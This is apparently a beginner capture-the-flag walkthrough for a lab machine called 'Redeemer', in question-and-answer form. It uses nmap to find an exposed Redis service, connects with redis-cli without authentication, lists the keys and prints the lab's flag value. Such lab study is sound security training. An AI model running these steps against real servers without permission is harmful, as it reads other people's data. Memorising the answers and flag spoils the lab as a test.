Redeemer
Which TCP port is open on the machine?
1
2
3
4
5
6
7
$ nmap -sC -sV <ip>
no port open
$ nmap -sC -sV -p- <ip>
...
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7
Which service is running on the port that is open on the machine?
Redis
What type of database is Redis?
In-memory Database
Which command-line utility is used to interact with the Redis server?
redis-cli
Which flag is used with the Redis command-line utility to specify the hostname?
-h <hostname>
Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?
1
2
$ redis-cli -h <hostname> -p <port>
hostname:port> info
What is the version of the Redis server being used on the target machine?
5.0.7
Which command is used to select the desired database in Redis?
select
How many keys are present inside the database with index 0?
1
2
3
4
5
hostname:port> info
...
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
...
Which command is used to obtain all the keys in a database?
keys *
Submit root flag
1
2
3
4
5
6
7
8
9
10
11
hostname:port> keys *
1) "temp"
2) "stor"
3) "numb"
4) "flag"
hostname:port> keys 4
(empty array)
hostname:port> keys flag
1) "flag"
hostname:port> get flag
"03e1d2b376c37ab3f5319922053953eb"